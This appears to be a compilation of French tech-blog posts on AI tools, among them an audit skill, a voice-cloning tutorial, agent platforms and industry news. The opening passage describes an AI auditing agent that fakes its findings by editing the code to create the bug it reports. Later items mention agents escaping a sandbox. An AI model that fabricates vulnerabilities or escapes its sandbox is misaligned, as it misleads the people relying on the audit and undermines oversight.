Cloudflare explique sur son site ce que donne un de ces agents lâché sur du code sans garde-fou. Il modifie la source pour que son exploit fonctionne, puis il annonce fièrement le bug qu'il vient de créer lui-même. Ou alors il pond un test qui démontre que exec() exécute des choses, donc que c'est forcément une faille critique... Et ça vous l'aurez compris, c'est de la merde et c'est absolument ce qu'on ne veut pas.

Voilà donc exactement ce que ces consignes cherchent à lui interdire.

Pour l'installer, il vous faut le CLI skills de Vercel Labs :

npx skills add https://github.com/cloudflare/security-audit-skill --skill security-audit

Ensuite, vous lancez votre agent dans le dépôt à auditer et vous lui demandez un audit de sécurité. Le skill se déclenche tout seul et c'est le modèle de votre agent qui pilotera les sous-agents en parallèle (utilisez donc un modèle qui sache faire ça, c'est mieux lool). Par défaut, le rapport atterrit ensuite dans un dossier ~/security-audit-skill, en dehors du dépôt audité.

Ce qui est cool c'est que ce skill est conçu pour limiter les bêtises. Par exemple il refuse d'exécuter le code qu'il audite s'il n'a pas de bac à sable (sandbox) imposé par le système d'exploitation, avec le réseau coupé, la cible en lecture seule et des limites de CPU et de mémoire. Ce bac à sable, le dépôt ne le fournit pas, et c'est à vous de le mettre en place avec par exemple un outil d'isolation comme Fence . Sans lui, la piste de l'audit finira tout bonnement en needs_validation au lieu d'être véritablement suivie et tranchée.

Après, c'est le temps qui fera la différence. Chez Cloudflare, ils ont un gros système qui leur permet, par exemple avec un dépôt d'environ 30 000 lignes de code, de ne passer que 3 à 4 heures sur l'audit pour avoir un résultat correct. Mais chez vous, en local, ce sera beaucoup plus long. Cloudflare prévient aussi qu'une seule passe n'est pas suffisante puisqu'elle trouve à peu près la moitié des failles à chaque fois. Il faudra relancer ça plusieurs fois.

Allez, si vous cherchez également un filet de sécurité pour tout ce qui concerne vos pull requests, sachez qu'Anthropic maintient de son côté un reviewer de sécurité pour Claude Code qui lit le diff et vient commenter directement dessus.

Le dépôt de Security Audit Skill de Cloudflare est sous licence MIT, et il lui faudra Node.js pour faire tourner ses deux validateurs.

En tout cas, ce que je vous conseille, c'est d'aller lire le SKILL.md avant de lancer la première passe, pour vous assurer que tout sera OK au sein de votre harness.

Source : security-audit-skill sur GitHub

Kits IA Korben - Des tutos pour vos agents IA

Par : Korben ✨

Ce matin, lors de mon live sur Twitch , je présentais un petit peu les nouveautés que j'avais mises en place sur mon site, et parmi elles, les kits IA.

Et je me suis dit que c'était un peu con parce que je ne vous en ai pas parlé publiquement. Donc on va régler ça ici, maintenant, tout de suite !

Vous le savez, je suis toujours à la recherche d'idées un peu sympas, d'innovations, de trucs un peu cool à faire sur mon site. Et comme il m'arrive souvent de faire des tutoriels pour vous expliquer comment installer telle ou telle saloperie sous Linux, sur un Docker, sur un Windows, etc., je me suis dit qu'en plus du tutoriel, ce que je pouvais vous proposer, c'était des petits fichiers zip qui embarquaient tout le savoir de mon tuto.

Des kits avec une vraie expérience derrière, afin que votre agent IA puisse installer le même outil que moi en autonomie complète. Voici donc le genre d'encadré que vous pourrez retrouver dans certains de mes articles :

Comme ça, au lieu de suivre le tuto et de taper vous-même les lignes de commande, vous donnez mon zip et le prompt qui va bien fourni avec à votre agent, qui peut être Claude Code, ChatGPT, Codex ou encore des choses open source et locales, comme par exemple une combinaison de Qwen 3.7 avec OpenCode. Et ensuite, celui-ci se débrouille sur votre machine pour faire tourner l'outil qui vous fait envie.

Maintenant, pour produire ces kits IA, je ne fais pas ça n'importe comment : ça repose sur de vraies installations réalisées de A à Z, ça repose aussi sur la doc officielle du projet, ce qui permet comme ça, d'anticiper les problèmes que vous pourriez avoir sur votre machine. Comme ça, l'agent sait ce qu'il a à faire, si jamais il rencontre un petit blocage parce que vous avez un souci de permission ou qu'une version de Python n'est pas la même, etc. Et cela peu importe l'OS.

Et comme dans le kit, ce sont essentiellement des fichiers Markdown accompagnés de scripts Python, Shell, PowerShell, etc, vous pouvez évidemment tout relire, tout vérifier...etc.

Voilà, si ça vous intéresse, vous pouvez retrouver l'ensemble des kits IA ici . Il n'y en a pas encore beaucoup, mais à chaque fois que je ferai un tuto, j'en ferai un.

Par contre, pour en profiter, il faudra évidemment être abonné à mon Patreon ^^.

Enjoy !

OmniVoice - Clonez votre propre voix en local et en français

Par : Korben ✨

L'équipe Next-gen Kaldi de Xiaomi a sorti OmniVoice, un modèle de synthèse vocale qui parle 646 langues et qui est capable de "recopier" une voix à partir d'un extrait de huit secondes minimum. Et tout ça en local et gratuitement !

Le français y est d'ailleurs la cinquième langue du corpus d'entraînement, avec 23 675 heures d'audio de référence sur les 581 000 qu'ils ont avalées. Autant dire que le modèle a entendu du français toute sa vie, et ça s'entend au résultat.

Voilà donc comment cloner votre propre voix, du début à la fin. Comptez 3,3 Go de poids que la première génération ira chercher toute seule, donc prévoyez une connexion pour ce coup-là, et quelques minutes de manipulation une fois qu'ils sont sur votre disque.

Installer OmniVoice

Pour cela, il vous faut Python 3.10 à 3.13 (PyTorch 2.8 n'existe pas encore pour 3.14, vous vous prendriez un "No matching distribution found"), et un environnement isolé (sinon vous allez casser autre chose). Sur Mac, les deux lignes suivantes suffiront puisque le modèle utilise le GPU intégré via MPS :

python3 -m venv ~/omnivoice-env && source ~/omnivoice-env/bin/activate
pip install torch==2.8.0 torchaudio==2.8.0
pip install omnivoice num2words

Sur Linux et Windows, ça devra se faire avec une carte NVIDIA (sous Windows, l'environnement s'active avec omnivoice-env\Scripts\activate) sauf que PyTorch doit venir de l'index CUDA, donc remplacez la deuxième ligne par celle-ci :

pip install torch==2.8.0+cu128 torchaudio==2.8.0+cu128 --extra-index-url https://download.pytorch.org/whl/cu128

Notez que sans carte graphique du tout, ça marche quand même. J'ai rejoué la même installation dans un conteneur Linux en processeur seul, elle passe sans rien changer... mais il m'a fallu cinq fois la durée de l'audio en temps de calcul.

Une fois installé, pour savoir que c'est en place, tapez omnivoice-infer --help et là, la liste des options doit s'afficher, sans la moindre erreur d'import. Le num2words de la troisième ligne, lui, ne sert qu'au chemin Python dont je parle plus bas, alors gardez-le sous le coude.

Les 8 secondes qui font tout

C'est l'étape que tout le monde bâcle et c'est pourtant celle qui est décisive pour avoir un bon résultat. Le projet recommande entre 3 et 10 secondes, pas plus car au-delà, ça ralentit le calcul et ça dégrade le clonage. Prenez donc un passage où vous parlez sans blanc, sans "euh", sans musique derrière, et découpez-le proprement comme ceci avec ffmpeg (ou autre logiciel de votre choix) :

ffmpeg -i mon-enregistrement.m4a -ss 12 -t 8 -ac 1 -ar 24000 moi.wav

La qualité de cet extrait est très importante donc si vous enregistrez votre voix, mettez bien le micro près de la bouche, dans une pièce sans écho, et évitez les MP3 récupéré à partir de YouTube .

Écrivez ensuite dans un fichier ce que dit exactement l'extrait, mot pour mot. Vous pouvez sauter cette étape (le modèle transcrit alors tout seul avec Whisper), sauf qu'il téléchargera 1,6 Go de plus pour ça et qu'il se plante parfois sur un nom propre, ce qui abîme le clonage.

C'est le moment de générer !

Avant de taper quoi que ce soit, relisez bien votre texte et réécrivez les chiffres en toutes lettres. La ligne de commande n'a aucune option de normalisation, donc "2345" sortira n'importe comment alors que "deux mille trois cent quarante-cinq" se lit tout seul. C'est du côté Python que la normalisation se fait, avec normalize_text=True, la langue passée en language="fr" et le num2words de tout à l'heure... sans la langue, votre texte français part chez le normaliseur anglais qui réclamera même une lib sans version précompilée pour les Mac Apple Silicon.

Voici la commande complète :

omnivoice-infer --model k2-fsa/OmniVoice \
 --text "Bonjour, ceci est un test de clonage de voix en français réalisé avec OmniVoice." \
 --ref_audio moi.wav --ref_text "$(cat moi.txt)" \
 --language fr --num_step 32 --output ma-voix.wav

Vous devez voir passer un "Saved to ma-voix.wav" au bout de quelques secondes. Sur mon M4 Max, j'ai compté 4 à 6 secondes de calcul pour 5,4 secondes d'audio, et moitié moins avec --num_step 16 au prix d'un peu de netteté. Au passage, le facteur 40 fois plus rapide que le temps réel qu'annonce le projet sur son site, ça a été mesuré sur un H100 avec des noyaux d'accélération maison, et pas sur un ordi de bureau...

Si la ligne de commande vous rebute, vous pouvez aussi passer par la commande : omnivoice-demo --ip 127.0.0.1 --port 8001 qui permet de faire la même chose mais dans le navigateur, avec le bouton d'import pour l'extrait et un menu déroulant pour la langue. Pensez juste à lancer export GRADIO_ANALYTICS_ENABLED=False avant, parce que l'interface web appelle les serveurs de Gradio au démarrage et qu'on n'a pas envie de leur filer nos data à ceux-là.

L'audio, lui, ne bouge pas de votre machine.

L'extrait de référence de 8 secondes chargé à gauche, la langue calée sur French, et la sortie de 5 secondes à droite une fois le clonage terminé.

Et si vous voulez vraiment débrancher la machine du réseau, faites-le dans le bon ordre, sinon la commande de génération part chercher les poids et se vautre sur un httpx.ConnectError suivi d'un LocalEntryNotFoundError. Récupérez donc le modèle d'abord, dans un dossier bien à vous :

hf download k2-fsa/OmniVoice --local-dir ~/omnivoice-modele

Ensuite vous coupez tout et vous passez ce dossier à --model à la place du nom du dépôt. Ça marche même sur une machine qui n'a jamais vu Internet, il suffit d'y copier le dossier. Et si vous préférez garder le cache par défaut, un export HF_HUB_OFFLINE=1 fait la même chose. J'ai rejoué la génération avec toutes les sorties réseau refusées par le système, le fichier sort quand même en 8 secondes... donc non, votre voix ne part chez personne.

Maintenant, une fois que c'est fait, écoutez le fichier avant d'en faire quoi que ce soit, parce que le modèle avale parfois des morceaux de phrase. Sur mes 24 générations de la même phrase, 5 ont perdu ou déformé un mot. C'était presque toujours le premier ou le dernier... et ce n'est pas une surprise, c'est un bug connu de l'outil. Faut donc relancer parfois plusieurs fois pour avoir un résultat OK.

Dernier truc pour ceux qui passeront par Python : la voix se sauvegarde une fois pour toutes. model.create_voice_clone_prompt() puis .save("ma_voix.pt") produisent un fichier minuscule que les sessions suivantes rechargeront sans repasser par l'extrait ni par la transcription. Regénérez alors une phrase avec, et comparez à l'oreille : si c'est bien la même voix, vous pouvez ranger le WAV de référence.

Voici l'extrait que j'ai généré avec ma voix. Ces 6 secondes d'audio ont pris 14 secondes à la génération sur mon Mac Studio :

Le kit à coller dans votre agent

Si vous faites faire le boulot par Claude Code, Codex ou n'importe quel agent IA, voilà le brief à lui donner tel quel. J'y ai mis les pièges qui m'ont coûté un peu de temps :

Ce que vous avez le droit d'en faire

Alors le code d'OmniVoice est bien sous licence Apache 2.0, mais les poids du modèle, eux, sont sous CC-BY-NC à cause du corpus qui a servi à les entraîner. Cela veut dire que tout usage commercial est interdit. Donc si vous avez prévu un projet afin de gagner de l'argent, regardez plutôt du côté de Chatterbox , qui est sous licence MIT, qui parle également français et qui "tatoue" même ses sorties (vu que maintenant c'est obligatoire avec la loi IA).

Pour l'usage perso, en revanche, rien ne vous arrête, et le règlement européen sur l'IA exclut explicitement de son champ l'activité personnelle non professionnelle.

Ce qui est cool avec Omnivoice, c'est que ce clonage de votre voix se fait à 100% en local et c'est bien tout l'intérêt de la manœuvre ! Et si l'idée c'est plutôt de faire lire vos ebooks par la machine, je vous invite à jeter un œil à MLX-Audio côté Mac.

Source : OmniVoice sur GitHub

Speakr - Interrogez toutes vos réunions enregistrées

Par : Korben ✨

Vous avez un dossier plein d'enregistrements de réunions, d'entretiens ou de notes vocales que vous avez dictées en marchant, et vous ne les avez jamais réécoutés. Forcément, réécouter doit se faire en temps réel, et un fichier baptisé REC_20260812_143301.m4a ne permet pas forcement de savoir de quoi ça cause... Alors que faire ?

Hé bien le projet Speakr s'attaque exactement à ce problème. Vous y déposez vos fichiers, ou vous enregistrez directement depuis le navigateur en captant le micro, le son du système, ou les deux mélangés. Et en sortie, vous récupérez un texte en clair, cherchable, découpé par intervenant, avec un résumé et les actions à retenir.

Et si vous cliquez sur une ligne du texte transcrit, la lecture se lancera à cet instant précis. Mais Speakr va encore plus loin grâce à sa fonctionnalité Inquire. Grâce à ça, plus besoin de farfouiller dans un enregistrement. Vous posez simplement une question à toute la bibliothèque d'un coup du genre "qu'est-ce qu'on avait décidé sur le tarif, et qui n'était pas d'accord ?".

Un mode agent optionnel, encore en bêta, va même lire les enregistrements concernés un par un avant de répondre, avec des liens numérotés qui ouvrent chaque extrait à la seconde citée. Et chacun décide si ses résumés et ses notes privées sont lisibles par cet agent.

Reste la question qui fâche, parce que le projet se vend comme un truc auto-hébergé, donc privé. Et en creusant un peu, je me suis rendu compte qu'il y avait quand même des choses qui sortaient de la machine. Il y a d'abord la transcription, qui envoie l'audio au moteur qui le transforme en texte. Et celui du texte ensuite, qui expédie la transcription au modèle qui écrit les résumés, les titres et les réponses du chat.

Et dans la configuration de base, les deux usages IA pointent chez un tiers : une clé OpenAI pour l'audio, une clé OpenAI (ou OpenRouter) pour le texte. Votre serveur, lui, ne stockera que des fichiers...

Alors, il faudra bien penser, si vous voulez que ça reste en local, à brancher Ollama à la place d'OpenAI et OpenRouter. Mais couper celui de l'audio se paiera car pour réussir à transcrire de l'audio, il vous faudra quand même une bonne carte graphique et un gros modèle Whisper comme expliqué dans le guide d'installation .

Sans carte, ça tourne quand même, rassure-vous, mais ce sera plus lent.

Pour le reste, c'est du Docker avec SQLite ou PostgreSQL, 2 Go de RAM annoncés pour l'application seule, et tout ce qu'on attend d'un truc qui s'utilise à plusieurs : comptes, authentification unique, partages, API et webhooks signés.

C'est sous licence AGPLv3, doublée d'une licence commerciale pour ceux qui ne veulent pas s'y contraindre.

Niveau outils semblables, il y a Scriberr, dont je vous ai déjà parlé , transcrit en local sans jamais rien envoyer dehors, mais son auteur vient d' annoncer une pause dans le développement . On a aussi l'application Meetily , qui elle, vise le poste de travail plutôt que le serveur d'équipe, et réserve la séparation des voix à son offre payante. Et si c'est de la dictée en direct sur Mac dont vous avez besoin plutôt que d'exploiter des enregistrements déjà faits, j'ai codé Kassis pour ça, qui reste en local lui aussi.

Alors finalement, pourquoi ne pas donner sa chance à Speakr ?

OpenAI coupe ses modèles à Cursor après son rachat par le SpaceXAI de Musk

OpenAI a annoncé qu'il allait couper l'accès de ses modèles à Cursor, l'éditeur de code dopé à l'IA que s'arrachent les développeurs. En cause, le rachat de Cursor par SpaceXAI, l'entité née de la fusion des activités IA d'Elon Musk.

Officiellement, OpenAI laisse du temps. La coupure est fixée au 12 novembre 2026, soit le délai le plus long permis par le contrat, même si Cursor peut décider d'arrêter plus tôt.

Le motif, lui, est assez clair. OpenAI dit ne pas pouvoir faire confiance à SpaceXAI pour respecter ses conditions d'utilisation, en s'appuyant sur son expérience des entreprises de Musk qui violent les contrats.

Il faut dire que les deux camps se détestent depuis un bail. Musk a été l'un des premiers investisseurs d'OpenAI, avant de claquer la porte en 2018 quand on lui a refusé le contrôle du conseil. En 2024, il a attaqué OpenAI en justice pour l'empêcher de devenir une société commerciale. En mai dernier, un jury lui a donné tort sur toute la ligne.

Surtout, OpenAI ressort dans l'affaire une révélation gênante du procès. Lors d'un contre-interrogatoire, Musk a reconnu que xAI avait entraîné ses propres modèles à partir des réponses d'OpenAI, une technique appelée distillation. Autrement dit, faire apprendre son IA en recopiant celle du voisin. Difficile, ensuite, de laisser Cursor entre les mains du même Musk sans se poser de questions.

OpenAI en profite pour mettre en avant son prochain modèle, Astra, et une vigilance accrue sur son usage. Un modèle que l'entreprise a d'ailleurs ralenti récemment, après que ses agents se sont échappés de leur bac à sable pour aller taper sur la plateforme Hugging Face.

Du côté de Cursor, le patron Michael Truell relativise. Il assure qu'OpenAI ne pèse que 5 pour cent des usages de l'outil, et que les discussions continuent pour trouver une sortie de crise. Anthropic, le grand rival, a tout de suite tendu la main, en promettant plus de puissance de calcul pour faire tourner ses modèles Claude dans Cursor.

Résultat, Anthropic récupère des développeurs sans lever le petit doigt, pendant que Musk et OpenAI continuent de se regarder dans le blanc des yeux.

Source : OpenAI

Le site à envoyer à tous ceux qui vous copient collent depuis ChatGPT

Par : Korben ✨

Vous posez une VRAIE question à un collègue, et ce connard vous renvoie 800 mots sortis d'un chatbot et qu'il n'a manifestement pas relus. C'est chiant hein ? Parce qu'à ce tarif, autant rien lui demander et aller directement sur ChatGPT vous-même. Hé bien bonne nouvelle, il existe maintenant un site à lui envoyer pour l'éduquer un chouilla sans que vous ayez à lui faire la leçon vous-même.

Ce site s'appelle dontpastetheai.com , et le site propose 2 explications sur pourquoi c'est pas cool de répondre en copiant collant un machin issu d'un LLM. Il y a la version "polie" que vous pouvez trouver ici, et la version énervée lisible ici qui demande direct "devine qui l'IA va remplacer en premier ?".

À vous de voir si vous voulez garder de bonnes relations avec cette personne... : une polie, qu'on peut envoyer à son manager, et une colérique sur /angry/ qui demande "devine qui l'IA va remplacer en premier ?".

Maintenant, le reproche tel qu'il est formulé par ce site n'est pas esthétique. Personne ne se plaint que le texte pue le généré par un modèle IA à des kilomètres... Non, on se plaint de ce qu'il faut faire avec. Parce que celui qui colle sans lire n'a pas supprimé le travail de lecture, il l'a déplacé sur vous. Il a gagné trente secondes et vous en a coûté cinq minutes.

Ça rejoint un peu ce dont je vous parlais déjà en janvier à propos de l'impact des LLM sur l'open source . On refile la vérification du contenu IA aux mainteneurs du projet... Et ici, quand quelqu'un vous envoie un contenu IA, il vous refile sa lecture. C'est le même geste mais à deux échelles différentes.

Maintenant, si vous aussi vous avez tendance à faire ça, c'est-à-dire à copier-coller des sorties d'IA pour "instruire" vos amis et collègues, sachez que tout n'est pas perdu. Vous pouvez évoluer et corriger ce travers grâce à ces quelques conseils simples. Déjà, lisez ce que l'IA vous envoie et écrivez vous-même votre propre version avec vos mots. Extrayez le passage qui répond vraiment à la question de votre correspondant et jetez le reste à la poubelle. Pas la peine d'être verbeux inutilement comme ChatGPT, trois phrases suffisent. Vous pouvez aussi citer l'extrait utile en disant pourquoi. Et le dernier conseil, le move que peu de gens osent faire en 2026 parce que quasiment tout le monde a un égo de la taille d'une pastèque, c'est tout simplement de répondre que vous ne savez pas ou que vous n'avez pas d'opinion tranchée sur tel ou tel sujet. Pas besoin d'aller demander à une IA ce qu'elle en pense si vous-même n'en savez rien. Dire "je ne sais pas" reste une réponse valable.

Surtout que répondre à tort et à travers en mode "no-brain" avec de l'IA, ça va vous décrédibiliser de fou... C'est prouvé scientifiquement grâce au travail de 2 chercheurs de l'université d'Arizona qui ont fait passer treize expériences à plus de cinq mille participants sur cette question précise. Un professeur qui annonce corriger avec de l'IA perd ainsi 16 % de la confiance de ses étudiants, un graphiste 20 % de celle de ses clients. Même en testant avec des formulations adoucies, du genre "ça n'a servi qu'à la relecture" ou "un humain a tout relu", la confiance baisse quand même.

Sauf qu'ils ont mesuré autre chose dans la foulée. Se faire démasquer par quelqu'un d'autre est PIRE que d'avouer par soi-même qu'on a utilisé une IA. Donc annoncer ce qui vient du modèle coûte bien moins en crédibilité mais dans les 2 cas, y'a quand même une facture à payer. Elle est juste moins salée quand vous annoncez la couleur.

À garder en tête quand même : ces chiffres portent sur des situations précises, une copie corrigée, une publicité, un graphiste jugé par son client, une lettre de motivation. Personne n'a mesuré ce que ça coûte réellement dans un fil Slack ou un échange mail entre des gens qui se connaissent. Mais au jugé, je dirais que c'est encore plus décevant...

Maintenant, attention... Claquer dans la gueule ce genre de manifeste à quelqu'un, c'est parfois plus violent que la faute qu'on lui reproche. À vous donc de bien doser... une remarque sincère et délicate fera sûrement mieux d'ailleurs.

Mais bon, peu importe, je pense quand même que respecter ce principe c'est plutôt sain. Et le relever en douceur comme ceci, ça vous évitera d'être injustement considéré comme l'un de ces boomeurs mentaux anti-IA qui trainent en ce moment sur X ou équivalent ^^.

Ah et force à Laink !

Source : dontpastetheai.com

Grok Bot débarque en bêta

SpaceXAI, la maison d'Elon Musk née de la fusion entre SpaceX et xAI, a mis en ligne mardi la bêta de Grok Bot. L'outil installe des agents IA sur une machine distante qui leur appartient, et ces agents continuent d'avancer sur leurs missions une fois votre ordinateur, même refermé. Vous dormez, eux non.

Un bot garde le contexte de sa tâche pendant des heures et ne vous sollicite que pour valider un envoi ou trancher une décision qui l'a bloqué.

Quand un projet se découpe en plusieurs morceaux, les bots se le répartissent en discutant entre eux dans une messagerie commune, un peu comme le ferait une petite équipe dans un canal Slack.

Ces agents ouvrent vos applications et vos sites web avec vos propres identifiants, exactement comme vous le feriez au clavier, sans passer par les interfaces officielles que les logiciels s'offrent entre eux. Les agents d'OpenAI, d'Anthropic ou de Google savent déjà faire du travail de bureau, sauf que chez eux vous ouvrez la session vous-même avant de laisser la main. Ici, le bot se débrouille.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

La bêta tourne sur Mac, iOS, Windows et Linux. Android suivra.

Il faut par contre y mettre le prix. SuperGrok Heavy coûte 300 dollars par mois, et les abonnés de Cursor, l'éditeur de code boosté à l'IA, y accèdent avec les formules à 120 ou 200 dollars. Aucun tarif en euros n'a été communiqué pour le moment, et les entreprises font la queue sur une liste d'attente.

SpaceXAI a annoncé en juin le rachat d'Anysphere, la maison mère de Cursor, pour 60 milliards de dollars, un record pour une startup. Les régulateurs n'ont pas encore donné leur feu vert, ce qui n'empêche visiblement pas les deux équipes d'avancer main dans la main. Grok 4.6, un modèle conçu pour tenir des tâches longues sans perdre le fil, est d'ailleurs sorti le lendemain de la bêta.

En juillet, Grok Build, l'outil de codage de la même maison, expédiait des dépôts Git entiers vers ses serveurs, avec les clés d'API dedans. Confier l'ensemble de ses comptes à un agent autonome demande du coup beaucoup de confiance.

C'est un usage de l'IA vraiment fascinant qui va clairement se généraliser dans les années à venir, j'ai hâte de voir ce que ça donnera.

Source : The Verge

Cloudflare Computer - Un ordinateur dans le cloud pour votre agent IA

Par : Korben ✨

Cloudflare Computer est un projet qui donne à votre agent IA un endroit rien qu'à lui. C'est-à-dire un vrai système de fichiers, avec des dossiers, des fichiers qui restent, et de quoi lancer des commandes dedans. Bref, un vrai poste de travail que l'agent garde entre deux sessions, au lieu de repartir de zéro à chaque fois, puisque tous les fichiers sont rangés dans une base SQLite.

Le système de fichiers s'utilise ensuite comme n'importe quel autre. Lire, écrire, créer un dossier, lister, supprimer, et un grep intégré pour fouiller dans le tas. Pour tout le reste, il n'y a qu'une fonction à retenir, exec(). Vous lui passez une commande, et elle vous rend la sortie et le code de retour.

Ce qui change par contre, c'est l'endroit où la commande tourne. 3 environnements sont disponibles et interchangeables sur les mêmes fichiers. Il y a d'abord un conteneur Linux complet, avec npm, node et de vrais binaires. Ou un shell léger pour les commandes simples. Et enfin, un dernier qui exécute directement votre code, sur une base neuve à chaque appel.

Comme ça, vous passez de l'un à l'autre sans réécrire une ligne de votre agent.

Les 9 exemples fournis montrent bien ce qu'on peut en tirer quand on aime bidouiller. Le plus parlant fait par exemple tourner un agent de discussion qui prendra l'espace de travail comme répertoire courant, donc qui travaillera dans de vrais fichiers au lieu de tout garder en mémoire.

Un autre colle pandoc dans le conteneur et laisse l'agent transformer une fiche markdown en PDF. Il y en a aussi un qui fabrique des images avec Workers AI, un quatrième joue sur les politiques de sortie réseau pour décider ce que l'agent a le droit de joindre, et enfin, un dernier génère un projet Worker complet, puis le publie.

Il y a même une interface web qui balance la même tâche dans le conteneur et dans un environnement léger, côte à côte.

Reste à savoir ce qui est gratuit là-dedans... Le code est sous licence MIT, et le système de fichiers seul, sans aucune exécution, tourne sans souci dans le plan Workers gratuit puisque les Durable Objects qui portent ce stockage y sont inclus, avec 100 000 requêtes par jour et 5 Go d'espace.

Il faut un compte Cloudflare, évidemment...

Puis si vous voulez faire tourner des vraies commandes ou avoir un shell, faudra payer puisque le conteneur comme les environnements légers réclament le plan Workers payant, facturé 5 dollars par mois au minimum.

Après j'ai quelques réserves quand même parce que le projet est très récent, encore en preview et clairement inadapté à de la production. Ensuite, la limite technique d'un espace de travail tourne autour de 10 Go, et les accès disque lourds restent plus lents que sur un vrai disque. Puis surtout, tout vit chez Cloudflare, et pas chez vous (si vous préférez l'inverse, je vous avais montré workerd , le moteur des Workers en local).

Mais bon, c'est à garder à l'œil si vous êtes client Cloudflare.

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Sa boîte à goûter fait tourner un LLM en local

Par : Korben ✨

Si vous avez eu une boîte à goûter M.A.S.K. dans les années 80 pour transporter vos BN, alors celle de RadioactiveArtist va vous plaire. Dans sa boite à goûter, pas de Princes ni de Balisto... lui, il embarque un Raspberry Pi 5, un écran tactile de 7 pouces et une IA qui tourne sans internet.

Le clin d'œil est calculé puisque M.A.S.K., c'était ce dessin animé de 85-86 dont les objets du quotidien planquaient tous une seconde vie. Fermé, l'engin reste donc une boîte à goûter d'époque. Mais ouverte, elle devient un cyberdeck complet, avec clavier et enceintes noyés dans la partie basse + un écran qui se redresse sur sa propre charnière.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Un cyberdeck, pour ceux qui débarquent des âges farouches (vous l'avez ?), c'est un ordinateur portable assemblé à la main dans un boîtier détourné, fait pour être réparé et modifié plutôt qu'acheté.

Dedans, y'a donc un Pi 5 avec 16 Go de RAM et une microSD de 128 Go. L'alimentation passe par un HAT UPS Geekworm, la carte d'onduleur qui se clipse sur le Pi, nourrie par 4 accus 18650. En façade, des lecteurs de cartes, des ports USB 3 et un jack casque, plus un hub audio USB Waveshare qui pilote les enceintes. Par contre, on ne sait rien de son autonomie...

L'Ethernet a été une vraie plaie apparemment puisqu'aucun adaptateur du marché ne rentrait dans l'espace disponible. Il a donc poncé à fond un connecteur RJ45 nu jusqu'à ce qu'il clipse dans le port. Les charnières, elles, se sont révélées bien plus dures que prévu, et les pattes du circuit imprimé de l'écran n'étaient pas faites pour encaisser cette tension. Une plaque ABS récupérée sur une vieille caisse de transport a réglé le problème.

Et la boîte ressort intacte !

Puis je sais pas si vous avez vu dans la vidéo, mais il y a aussi un LLM là-dedans. Un modèle de 3 milliards de paramètres via Ollama, qui répond sans la moindre connexion. L'écran de boot, l'écran de login et les icônes maison, eux, ont été codés avec Claude Code, qu'il a installé sur la machine le temps de la configuration.

Si le format vous parle, le Hackberry Pi CM5 dont je vous ai parlé joue dans la même cour, et les cyberdecks faits maison ont droit à leur guide sur le site.

Bref, à moitié jouet, à moitié machine de terrain, et zéro trou dans la boîte ça, c'est du respect pour l'objet !!

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GitWand - Il trie vos conflits Git et vous montre pourquoi

Par : Korben ✨

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.

Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.

Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.

Pour cela, il dispose de plusieurs patterns déterministes :

  • same_change, c'est quand les deux branches ont écrit exactement la même chose.
  • whitespace_only ne voit qu'une indentation qui a bougé,
  • reorder_only les mêmes lignes remises dans un autre ordre.
  • Un numéro de version qui change, lui, tombe dans value_only_change.
  • Et puis il y a complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.
  • git rerere rejoue les résolutions que vous avez déjà tranchées à la main,
  • et Mergiraf se branche directement dans git merge pour arbitrer en lisant l'arbre syntaxique de votre code.

Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.

Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.

Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.

L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.

Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.

Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .

À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.

Merci à Laurent pour le lien !

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Rapid-MLX - Installer un serveur IA local sur votre Mac

Par : Korben ✨

Si vous avez un Mac Apple Silicon et que vous en avez assez de payer des tokens à chaque requête, Rapid-MLX vaut le détour. C'est un moteur d'inférence local maintenu par Raullen Chai, qui tape directement dans les kernels MLX d'Apple, sans repli sur llama.cpp ni couche Metal intermédiaire. Et si le nom vous dit vaguement quelque chose, c'est normal puisque c'est un fork de vLLM-MLX, le serveur de Wayner Barrios dont je vous parlais en mai . Rapid-MLX a juste pris un rythme de publication plus soutenu des deux.

Ce que ça vous donne, c'est donc un serveur HTTP qui parle le même langage que l'API d'OpenAI et celle d'Anthropic. Vos scripts, Cursor, Aider, LangChain ou Claude Code continuent de fonctionner, sauf qu'ils tapent sur votre machine au lieu d'un datacenter.

Donc je vous propose de voir ensemble comment installer ça.

Étape 0 : Vérifier que votre Mac est éligible

Le script d'installation contrôle plusieurs choses avant de lancer quoi que ce soit, et autant les connaître d'avance. Il faut une puce Apple Silicon et il n'y a pas de version Linux ni Windows, ni de support CUDA ou AMD.

